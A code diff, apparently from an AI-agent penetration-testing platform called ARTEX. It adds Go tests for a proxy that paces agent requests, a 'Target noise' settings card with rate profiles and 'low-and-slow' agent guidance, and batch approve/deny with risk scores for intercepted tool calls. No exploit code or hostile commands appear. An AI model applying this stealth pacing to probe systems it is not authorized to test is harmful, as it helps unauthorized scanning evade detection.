plain.CloseIdleConnections()
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for markedCount(s) != 0 {
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("%d marks left after the clients closed", markedCount(s))
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// Off: a marked request is neither paced nor counted.
|
||||
func TestBashPacingOff(t *testing.T) {
|
||||
prev := egress.CurrentProfile()
|
||||
t.Cleanup(func() { egress.SetProfile(prev) })
|
||||
egress.SetProfile(egress.Profile{Name: "off"})
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {}))
|
||||
defer srv.Close()
|
||||
tr, _, proxyURL := startProxy(t)
|
||||
bash := proxyClient(t, tr, egress.MarkProxyURL(proxyURL))
|
||||
for range 3 {
|
||||
get(t, bash, srv.URL+"/")
|
||||
}
|
||||
if snap := egress.Current().Snapshot(); len(snap) != 0 {
|
||||
t.Fatalf("off counted marked requests: %v", snap)
|
||||
}
|
||||
}
|
||||
|
||||
// The sink drops Proxy-Authorization from every request and marks only on the
|
||||
// pace marker; a disconnect clears the mark.
|
||||
func TestSinkStripsAndMarks(t *testing.T) {
|
||||
prev := egress.CurrentProfile()
|
||||
t.Cleanup(func() { egress.SetProfile(prev) })
|
||||
egress.SetProfile(egress.Profile{Name: "off"})
|
||||
s := &sink{}
|
||||
flow := func(method, auth string, conn *mproxy.ClientConn) *mproxy.Flow {
|
||||
u, _ := url.Parse("http://a.example/")
|
||||
h := http.Header{}
|
||||
if auth != "" {
|
||||
h.Set("Proxy-Authorization", auth)
|
||||
}
|
||||
return &mproxy.Flow{Request: &mproxy.Request{Method: method, URL: u, Header: h}, ConnContext: &mproxy.ConnContext{ClientConn: conn}}
|
||||
}
|
||||
f := flow(http.MethodGet, "Basic dXNlcjpwYXNz", &mproxy.ClientConn{}) // user:pass, not the marker
|
||||
s.Requestheaders(f)
|
||||
if f.Request.Header.Get("Proxy-Authorization") != "" || markedCount(s) != 0 {
|
||||
t.Fatalf("foreign credentials: header %q, marks %d", f.Request.Header.Get("Proxy-Authorization"), markedCount(s))
|
||||
}
|
||||
conn := &mproxy.ClientConn{}
|
||||
conn.Id[0] = 1
|
||||
f = flow(http.MethodConnect, "Basic YXJ0ZXgtcGFjZTphcnRleC1wYWNl", conn) // artex-pace:artex-pace
|
||||
s.Requestheaders(f)
|
||||
if f.Request.Header.Get("Proxy-Authorization") != "" || markedCount(s) != 1 {
|
||||
t.Fatalf("marker on CONNECT: header %q, marks %d", f.Request.Header.Get("Proxy-Authorization"), markedCount(s))
|
||||
}
|
||||
s.ClientDisconnected(conn)
|
||||
if markedCount(s) != 0 {
|
||||
t.Fatal("mark kept after disconnect")
|
||||
}
|
||||
}
|
||||
+4
-2
@@ -383,10 +383,12 @@ func (t *Traffic) stopping() bool {
|
||||
}
|
||||
func (t *Traffic) DB() *sql.DB { return t.db }
|
||||
|
||||
// sink is the go-mitmproxy addon that records completed exchanges.
|
||||
// sink is the go-mitmproxy addon that records completed exchanges, and paces
|
||||
// the requests of client connections marked for pacing (see pace.go).
|
||||
type sink struct {
|
||||
mproxy.BaseAddon
|
||||
t *Traffic
|
||||
t *Traffic
|
||||
paced sync.Map // ClientConn.Id of a marked connection -> struct{}
|
||||
}
|
||||
|
||||
func (s *sink) Response(f *mproxy.Flow) {
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
"use client";
|
||||
|
||||
import * as React from "react";
|
||||
|
||||
import { GaugeIcon, RefreshCwIcon } from "lucide-react";
|
||||
import { toast } from "sonner";
|
||||
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select";
|
||||
import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table";
|
||||
import { api } from "@/lib/api";
|
||||
import type { NoiseProfileName, NoiseStatus } from "@/lib/types";
|
||||
|
||||
// Mirrors egress.Profiles in egress/egress.go; the jitter of one send is
|
||||
// min(Jitter/RPS, 250 ms).
|
||||
const profiles: { value: NoiseProfileName; label: string; limits: string }[] = [
|
||||
{ value: "off", label: "Off", limits: "Off: requests and their timing are unchanged, and nothing is counted." },
|
||||
{
|
||||
value: "quiet",
|
||||
label: "Quiet",
|
||||
limits:
|
||||
"2 req/s per host (burst 4), 1 in flight per host, 8 overall, jitter up to 250 ms, identical GETs of a task cached 60 s, up to 3 retries on 429/503.",
|
||||
},
|
||||
{
|
||||
value: "balanced",
|
||||
label: "Balanced",
|
||||
limits:
|
||||
"5 req/s per host (burst 10), 2 in flight per host, 16 overall, jitter up to 40 ms, identical GETs of a task cached 30 s, up to 3 retries on 429/503.",
|
||||
},
|
||||
{
|
||||
value: "aggressive",
|
||||
label: "Aggressive",
|
||||
limits:
|
||||
"20 req/s per host (burst 40), 4 in flight per host, 32 overall, jitter up to 5 ms, identical GETs of a task cached 10 s, up to 2 retries on 429/503.",
|
||||
},
|
||||
];
|
||||
|
||||
// NoiseProfileCard sets the target noise profile and shows the per-host
|
||||
// counters of the current minute.
|
||||
export function NoiseProfileCard() {
|
||||
const [status, setStatus] = React.useState<NoiseStatus | null>(null);
|
||||
const [loading, setLoading] = React.useState(false);
|
||||
const [saving, setSaving] = React.useState(false);
|
||||
|
||||
const refresh = React.useCallback(() => {
|
||||
setLoading(true);
|
||||
api
|
||||
.noiseStatus()
|
||||
.then(setStatus)
|
||||
.catch((e) => toast.error(`Failed to load the noise counters: ${(e as Error).message}`))
|
||||
.finally(() => setLoading(false));
|
||||
}, []);
|
||||
React.useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
const save = (value: NoiseProfileName) => {
|
||||
setSaving(true);
|
||||
api
|
||||
.setSettings({ noise_profile: value })
|
||||
.then(() => {
|
||||
toast.success(`Noise profile set to ${value}`);
|
||||
refresh();
|
||||
})
|
||||
.catch((e) => toast.error(`Save failed: ${(e as Error).message}`))
|
||||
.finally(() => setSaving(false));
|
||||
};
|
||||
|
||||
const current = profiles.find((p) => p.value === status?.profile) ?? profiles[0];
|
||||
return (
|
||||
<Card className="mb-4 break-inside-avoid md:mb-6">
|
||||
<CardHeader>
|
||||
<CardTitle className="flex items-center gap-2 text-base">
|
||||
<GaugeIcon className="size-4" />
|
||||
Target noise
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Paces the requests ARTEX itself sends to targets (WebFetch, http custom tools, the enrich probe) and sets the
|
||||
low-and-slow guidance in agent prompts. With traffic capture on, Bash commands that use the proxy (curl,
|
||||
wget, python-requests…) are paced too, by rate and jitter only: the in-flight, cache and retry limits apply
|
||||
to ARTEX's own requests. Raw scanners such as nmap, and commands that bypass the proxy, are not paced; this
|
||||
is best effort, not a security boundary. This setting takes precedence over ARTEX_NOISE_PROFILE and applies
|
||||
to the next request.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="flex flex-col gap-4">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<Label htmlFor="noise-profile" className="text-sm font-normal text-muted-foreground">
|
||||
Profile
|
||||
</Label>
|
||||
<Select
|
||||
value={status?.profile ?? ""}
|
||||
disabled={!status || saving}
|
||||
onValueChange={(v) => save(v as NoiseProfileName)}
|
||||
>
|
||||
<SelectTrigger id="noise-profile" className="w-48 shrink-0">
|
||||
<SelectValue placeholder="Loading…" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{profiles.map((p) => (
|
||||
<SelectItem key={p.value} value={p.value}>
|
||||
{p.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<p className="text-muted-foreground text-xs">{current.limits}</p>
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<span className="font-medium text-sm">Hosts, current minute</span>
|
||||
<Button variant="outline" size="sm" onClick={refresh} disabled={loading}>
|
||||
<RefreshCwIcon data-icon="inline-start" className={loading ? "animate-spin" : undefined} />
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
{status?.hosts.length ? (
|
||||
<Table aria-label="Noise counters per host">
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
<TableHead>Host</TableHead>
|
||||
<TableHead className="text-right">RPM</TableHead>
|
||||
<TableHead className="text-right">Peak RPM</TableHead>
|
||||
<TableHead className="text-right">In flight (peak)</TableHead>
|
||||
<TableHead className="text-right">Duplicates</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{status.hosts.map((h) => (
|
||||
<TableRow key={h.host}>
|
||||
<TableCell className="max-w-48 truncate font-mono text-xs" title={h.host}>
|
||||
{h.host}
|
||||
</TableCell>
|
||||
<TableCell className="text-right">{h.rpm}</TableCell>
|
||||
<TableCell className="text-right">{h.peak_rpm}</TableCell>
|
||||
<TableCell className="text-right">
|
||||
{h.inflight} ({h.peak_inflight})
|
||||
</TableCell>
|
||||
<TableCell className="text-right">{h.duplicates_avoided}</TableCell>
|
||||
</TableRow>
|
||||
))}
|
||||
</TableBody>
|
||||
</Table>
|
||||
) : (
|
||||
<p className="text-muted-foreground text-sm">
|
||||
{status?.profile === "off" ? "Off counts no request." : "No paced request yet."}
|
||||
</p>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
@@ -15,6 +15,8 @@ import { api } from "@/lib/api";
|
||||
import { CHAT_SEND_MODE_OPTIONS, type ChatSendMode, setChatSendMode, useChatSendMode } from "@/lib/chat-send-mode";
|
||||
import type { Settings } from "@/lib/types";
|
||||
|
||||
import { NoiseProfileCard } from "./noise-profile-card";
|
||||
|
||||
export default function SystemSettingsPage() {
|
||||
const [trafficCapture, setTrafficCapture] = React.useState(false);
|
||||
const [agentTrafficBinding, setAgentTrafficBinding] = React.useState(false);
|
||||
@@ -292,6 +294,8 @@ export default function SystemSettingsPage() {
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<NoiseProfileCard />
|
||||
|
||||
<Card className="mb-4 break-inside-avoid md:mb-6">
|
||||
<CardHeader>
|
||||
<CardTitle className="flex items-center gap-2 text-base">
|
||||
|
||||
@@ -17,8 +17,19 @@ import { toast } from "sonner";
|
||||
|
||||
import { TablePagination } from "@/components/table-pagination";
|
||||
import { Alert, AlertDescription } from "@/components/ui/alert";
|
||||
import {
|
||||
AlertDialog,
|
||||
AlertDialogAction,
|
||||
AlertDialogCancel,
|
||||
AlertDialogContent,
|
||||
AlertDialogDescription,
|
||||
AlertDialogFooter,
|
||||
AlertDialogHeader,
|
||||
AlertDialogTitle,
|
||||
} from "@/components/ui/alert-dialog";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
|
||||
import { Empty, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle } from "@/components/ui/empty";
|
||||
import { Field, FieldGroup, FieldLabel } from "@/components/ui/field";
|
||||
@@ -33,6 +44,7 @@ import type {
|
||||
InterceptDetail,
|
||||
InterceptPending,
|
||||
InterceptReviewInput,
|
||||
InterceptRisk,
|
||||
} from "@/lib/types";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
@@ -125,6 +137,21 @@ function DecidedByBadge({ row }: { row: InterceptApprovalRow }) {
|
||||
return <Badge variant="outline">{decidedByLabels[row.decided_by] ?? row.decided_by}</Badge>;
|
||||
}
|
||||
|
||||
const riskLabels: Record<InterceptRisk["level"], string> = { low: "Low", medium: "Medium", high: "High" };
|
||||
|
||||
// RiskBadge shows the server's deterministic risk level of a pending request.
|
||||
function RiskBadge({ risk }: { risk?: InterceptRisk }) {
|
||||
if (!risk) return null;
|
||||
let variant: "destructive" | "secondary" | "outline" = "outline";
|
||||
if (risk.level === "high") variant = "destructive";
|
||||
if (risk.level === "medium") variant = "secondary";
|
||||
return (
|
||||
<Badge variant={variant} title={`Risk score ${risk.score}/100`}>
|
||||
{riskLabels[risk.level] ?? risk.level}
|
||||
</Badge>
|
||||
);
|
||||
}
|
||||
|
||||
function MatchCell({ row, showReason = true }: { row: InterceptApprovalRow; showReason?: boolean }) {
|
||||
const reason = row.reason?.replace(/^\[model\]\s*/, "");
|
||||
return (
|
||||
@@ -436,6 +463,24 @@ export function ApprovalDetail({
|
||||
<dd>
|
||||
<DecidedByBadge row={current} />
|
||||
</dd>
|
||||
{row.risk ? (
|
||||
<>
|
||||
<dt className="text-muted-foreground">Risk</dt>
|
||||
<dd className="flex flex-col gap-1">
|
||||
<span className="flex items-center gap-2">
|
||||
<RiskBadge risk={row.risk} />
|
||||
<span className="text-muted-foreground">{row.risk.score}/100</span>
|
||||
</span>
|
||||
{row.risk.reasons.length ? (
|
||||
<ul className="list-disc pl-4">
|
||||
{row.risk.reasons.map((reason) => (
|
||||
<li key={reason}>{reason}</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</dd>
|
||||
</>
|
||||
) : null}
|
||||
{audit?.rule_name ? (
|
||||
<>
|
||||
<dt className="text-muted-foreground">Rule snapshot</dt>
|
||||
@@ -595,21 +640,32 @@ function serverColumnCount() {
|
||||
return 10;
|
||||
}
|
||||
|
||||
type Selection = { selected: Set<number>; toggle: (id: number) => void; toggleAll: () => void };
|
||||
|
||||
// Server limit on ids per batch-decide call (maxBatchDecide in server/intercept.go).
|
||||
const batchDecideMax = 100;
|
||||
|
||||
function ApprovalTable({
|
||||
rows,
|
||||
busy,
|
||||
decide,
|
||||
revision,
|
||||
label,
|
||||
selection,
|
||||
}: {
|
||||
rows: InterceptApprovalRow[];
|
||||
busy: boolean;
|
||||
decide: Decide;
|
||||
revision: number;
|
||||
label: string;
|
||||
selection?: Selection;
|
||||
}) {
|
||||
const [expanded, setExpanded] = React.useState<Set<number>>(() => new Set());
|
||||
const columns = React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount);
|
||||
const columns =
|
||||
React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount) + (selection ? 1 : 0);
|
||||
const selectedCount = selection ? rows.filter((row) => selection.selected.has(row.id)).length : 0;
|
||||
let allChecked: boolean | "indeterminate" = selectedCount > 0 ? "indeterminate" : false;
|
||||
if (selectedCount > 0 && selectedCount === rows.length) allChecked = true;
|
||||
const prefix = React.useId();
|
||||
function toggle(id: number) {
|
||||
setExpanded((prev) => {
|
||||
@@ -623,6 +679,16 @@ function ApprovalTable({
|
||||
<Table className="table-fixed" aria-label={label}>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
{selection ? (
|
||||
<TableHead className="w-10">
|
||||
<Checkbox
|
||||
aria-label="Select all pending approvals on this page"
|
||||
checked={allChecked}
|
||||
disabled={busy || !rows.length}
|
||||
onCheckedChange={() => selection.toggleAll()}
|
||||
/>
|
||||
</TableHead>
|
||||
) : null}
|
||||
<TableHead className="w-10">
|
||||
<span className="sr-only">Expand details</span>
|
||||
</TableHead>
|
||||
@@ -648,6 +714,16 @@ function ApprovalTable({
|
||||
className="cursor-pointer"
|
||||
onClick={() => toggle(row.id)}
|
||||
>
|
||||
{selection ? (
|
||||
<TableCell onClick={(e) => e.stopPropagation()}>
|
||||
<Checkbox
|
||||
aria-label={`Select approval #${row.id}`}
|
||||
checked={selection.selected.has(row.id)}
|
||||
disabled={busy || row.status !== "pending"}
|
||||
onCheckedChange={() => selection.toggle(row.id)}
|
||||
/>
|
||||
</TableCell>
|
||||
) : null}
|
||||
<TableCell>
|
||||
<Button
|
||||
variant="ghost"
|
||||
@@ -665,7 +741,10 @@ function ApprovalTable({
|
||||
</TableCell>
|
||||
<TableCell className="hidden text-muted-foreground sm:table-cell">{row.id}</TableCell>
|
||||
<TableCell>
|
||||
<code className="block truncate text-xs">{row.tool_name}</code>
|
||||
<div className="flex min-w-0 flex-col items-start gap-1">
|
||||
<code className="block max-w-full truncate text-xs">{row.tool_name}</code>
|
||||
<RiskBadge risk={row.risk} />
|
||||
</div>
|
||||
</TableCell>
|
||||
<TableCell className="hidden md:table-cell">
|
||||
<div className="flex flex-col gap-1">
|
||||
@@ -726,6 +805,9 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
const [pendingError, setPendingError] = React.useState("");
|
||||
const [deciding, setDeciding] = React.useState(false);
|
||||
const [revision, setRevision] = React.useState(0);
|
||||
const [selected, setSelected] = React.useState<Set<number>>(() => new Set());
|
||||
const [batchDecision, setBatchDecision] = React.useState<"allowed" | "denied" | null>(null);
|
||||
const [batchErrors, setBatchErrors] = React.useState<{ id: number; error: string }[]>([]);
|
||||
const request = React.useRef(0);
|
||||
const decisionLock = React.useRef(false);
|
||||
const filterID = React.useId();
|
||||
@@ -843,6 +925,62 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
...historyById.get(row.id),
|
||||
...row,
|
||||
}));
|
||||
// Only rows still in the pending queue count as selected.
|
||||
const selectedRows = pending.filter((row) => selected.has(row.id));
|
||||
const selectedHigh = selectedRows.filter((row) => row.risk?.level === "high").length;
|
||||
const selection: Selection = {
|
||||
selected,
|
||||
toggle: (id) =>
|
||||
setSelected((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(id)) next.delete(id);
|
||||
else next.add(id);
|
||||
return next;
|
||||
}),
|
||||
toggleAll: () =>
|
||||
setSelected(selectedRows.length === pending.length ? new Set() : new Set(pending.map((row) => row.id))),
|
||||
};
|
||||
|
||||
// Each id is decided by the server exactly like a single decision. The server
|
||||
// takes at most 100 ids per call (maxBatchDecide in server/intercept.go) and
|
||||
// the pending queue is not paginated, so the selection goes out in sequential
|
||||
// chunks of at most batchDecideMax ids. If a chunk cannot be sent (network
|
||||
// error, 400), sending stops: its ids and the later ones stay selected with
|
||||
// the error, and chunks already decided stay decided. A failed id stays
|
||||
// pending and selected, with its error listed.
|
||||
const batchDecide = async (decision: "allowed" | "denied") => {
|
||||
const ids = selectedRows.map((row) => row.id);
|
||||
if (!ids.length || decisionLock.current) return;
|
||||
decisionLock.current = true;
|
||||
setDeciding(true);
|
||||
let decided = 0;
|
||||
const failed: { id: number; error: string }[] = [];
|
||||
try {
|
||||
for (let start = 0; start < ids.length; start += batchDecideMax) {
|
||||
try {
|
||||
const res = await api.interceptBatchDecide(ids.slice(start, start + batchDecideMax), decision);
|
||||
decided += res.decided;
|
||||
for (const r of res.results) if (!r.ok) failed.push({ id: r.id, error: r.error || "Not decided" });
|
||||
} catch (e) {
|
||||
const error = `Not sent: ${(e as Error).message || "request failed"}`;
|
||||
for (const id of ids.slice(start)) failed.push({ id, error });
|
||||
break;
|
||||
}
|
||||
}
|
||||
request.current++;
|
||||
setBatchErrors(failed);
|
||||
setSelected(new Set(failed.map((f) => f.id)));
|
||||
setRevision((v) => v + 1);
|
||||
const verb = decision === "allowed" ? "allowed" : "denied";
|
||||
if (failed.length) toast.error(`${decided} ${verb}, ${failed.length} not decided (see the errors listed above)`);
|
||||
else toast.success(`${decided} ${verb}`);
|
||||
} finally {
|
||||
decisionLock.current = false;
|
||||
setDeciding(false);
|
||||
setBatchDecision(null);
|
||||
await latestLoad.current(true);
|
||||
}
|
||||
};
|
||||
const title = taskId ? "Interception approval" : "Approval records";
|
||||
return (
|
||||
<div className="flex min-w-0 flex-col gap-5">
|
||||
@@ -949,15 +1087,85 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
<AlertDescription>Failed to load pending approvals: {pendingError}. Click Refresh to retry.</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
{batchErrors.length ? (
|
||||
<Alert variant="destructive">
|
||||
<AlertDescription>
|
||||
<p>{batchErrors.length} selected request(s) were not decided and stay pending:</p>
|
||||
<ul className="list-disc pl-4">
|
||||
{batchErrors.map((f) => (
|
||||
<li key={f.id}>
|
||||
#{f.id}: {f.error}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
{pending.length ? (
|
||||
<section className="overflow-hidden rounded-xl border">
|
||||
<div className="flex items-center gap-2 border-b bg-muted/40 px-4 py-3 font-medium text-sm">
|
||||
<ShieldAlertIcon className="size-4" />
|
||||
Pending ({pending.length})<span className="text-muted-foreground text-xs">expand to allow or deny</span>
|
||||
</div>
|
||||
<ApprovalTable rows={pending} busy={deciding} decide={decide} revision={revision} label="Pending approvals" />
|
||||
<ApprovalTable
|
||||
rows={pending}
|
||||
busy={deciding}
|
||||
decide={decide}
|
||||
revision={revision}
|
||||
label="Pending approvals"
|
||||
selection={selection}
|
||||
/>
|
||||
<div className="flex flex-wrap items-center justify-between gap-2 border-t px-4 py-3 text-sm">
|
||||
<span className="text-muted-foreground">{selectedRows.length} selected</span>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
<Button size="sm" disabled={deciding || !selectedRows.length} onClick={() => setBatchDecision("allowed")}>
|
||||
<CheckIcon data-icon="inline-start" />
|
||||
Approve selected
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="destructive"
|
||||
disabled={deciding || !selectedRows.length}
|
||||
onClick={() => setBatchDecision("denied")}
|
||||
>
|
||||
<XIcon data-icon="inline-start" />
|
||||
Deny selected
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
) : null}
|
||||
<AlertDialog
|
||||
open={batchDecision != null}
|
||||
onOpenChange={(open) => {
|
||||
if (!open && !deciding) setBatchDecision(null);
|
||||
}}
|
||||
>
|
||||
<AlertDialogContent>
|
||||
<AlertDialogHeader>
|
||||
<AlertDialogTitle>
|
||||
{batchDecision === "denied" ? "Deny" : "Approve"} {selectedRows.length} request(s)?
|
||||
</AlertDialogTitle>
|
||||
<AlertDialogDescription>
|
||||
{selectedHigh ? `${selectedHigh} of them are high risk.` : "None of them is high risk."} Each request is
|
||||
decided on its own; one that cannot be decided stays pending and is listed.
|
||||
</AlertDialogDescription>
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
<AlertDialogCancel disabled={deciding}>Cancel</AlertDialogCancel>
|
||||
<AlertDialogAction
|
||||
variant={batchDecision === "denied" ? "destructive" : "default"}
|
||||
disabled={deciding || !selectedRows.length}
|
||||
onClick={(event) => {
|
||||
event.preventDefault();
|
||||
if (batchDecision) void batchDecide(batchDecision);
|
||||
}}
|
||||
>
|
||||
{batchDecision === "denied" ? "Deny selected" : "Approve selected"}
|
||||
</AlertDialogAction>
|
||||
</AlertDialogFooter>
|
||||
</AlertDialogContent>
|
||||
</AlertDialog>
|
||||
<section className="overflow-hidden rounded-xl border">
|
||||
<div className="border-b px-4 py-3 font-medium text-sm">
|
||||
{filtered ? "Filtered results" : "All records"} ({total})
|
||||
|
||||
@@ -826,6 +826,7 @@ export const api = {
|
||||
// ---- app settings (runtime toggles) ----
|
||||
settings: () => get<Settings>(`/settings`),
|
||||
setSettings: (patch: Partial<Settings>) => put<Settings>(`/settings`, patch),
|
||||
noiseStatus: () => get<import("@/lib/types").NoiseStatus>(`/settings/noise`),
|
||||
// Run a real "test" search with the given (or saved) config to verify it works.
|
||||
testWebSearch: (patch: {
|
||||
web_search_backend?: string;
|
||||
@@ -1232,6 +1233,9 @@ export const api = {
|
||||
interceptGetOne: (id: number) => get<InterceptPending>(`/intercept/pending/${id}`),
|
||||
interceptDecide: (id: number, decision: "allowed" | "denied") =>
|
||||
post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }),
|
||||
// 200 even on partial failure: each id carries its own ok/error.
|
||||
interceptBatchDecide: (ids: number[], decision: "allowed" | "denied") =>
|
||||
post<import("@/lib/types").InterceptBatchDecideResult>("/intercept/pending/batch-decide", { ids, decision }),
|
||||
// No body: the server derives the rule from the stored request, which stays pending.
|
||||
interceptAlwaysAllow: (id: number) =>
|
||||
post<{ rule: InterceptRule; created: boolean }>(`/intercept/pending/${id}/always-allow`),
|
||||
|
||||
@@ -962,6 +962,23 @@ export interface Settings {
|
||||
// Render limits of IM messages; 0 = no truncation. The backend answers 400 outside the bounds.
|
||||
notify_summary_max_runes?: number; // summary characters per finding, 0-4000, default 120
|
||||
notify_assets_max_shown?: number; // asset names listed per finding, 0-50, default 3
|
||||
// Target noise profile; the stored setting wins over ARTEX_NOISE_PROFILE. Applies to the next request.
|
||||
noise_profile?: NoiseProfileName;
|
||||
}
|
||||
|
||||
export type NoiseProfileName = "off" | "quiet" | "balanced" | "aggressive";
|
||||
|
||||
// GET /api/settings/noise: the current profile and its per-host counters (current minute, no reset).
|
||||
export interface NoiseStatus {
|
||||
profile: NoiseProfileName;
|
||||
hosts: {
|
||||
host: string;
|
||||
rpm: number;
|
||||
peak_rpm: number;
|
||||
peak_inflight: number;
|
||||
inflight: number;
|
||||
duplicates_avoided: number;
|
||||
}[];
|
||||
}
|
||||
|
||||
// ---- Vulnerability IM push ----
|
||||
@@ -1368,6 +1385,20 @@ export interface InterceptPending {
|
||||
reason: string; // the rule's message or the model's verdict reason (model verdicts carry a [model] prefix)
|
||||
decided_at?: string;
|
||||
created_at: string;
|
||||
// Deterministic risk score, computed by the server when a pending row is read.
|
||||
risk?: InterceptRisk;
|
||||
}
|
||||
|
||||
export interface InterceptRisk {
|
||||
score: number; // 0..100
|
||||
level: "low" | "medium" | "high";
|
||||
reasons: string[];
|
||||
}
|
||||
|
||||
export interface InterceptBatchDecideResult {
|
||||
decided: number;
|
||||
failed: number;
|
||||
results: { id: number; ok: boolean; error?: string }[];
|
||||
}
|
||||
|
||||
// JudgeConfig: global config for model fallback approval (the model decides only when no interception rule matches).
|
||||
|
||||
Reference in New Issue
Block a user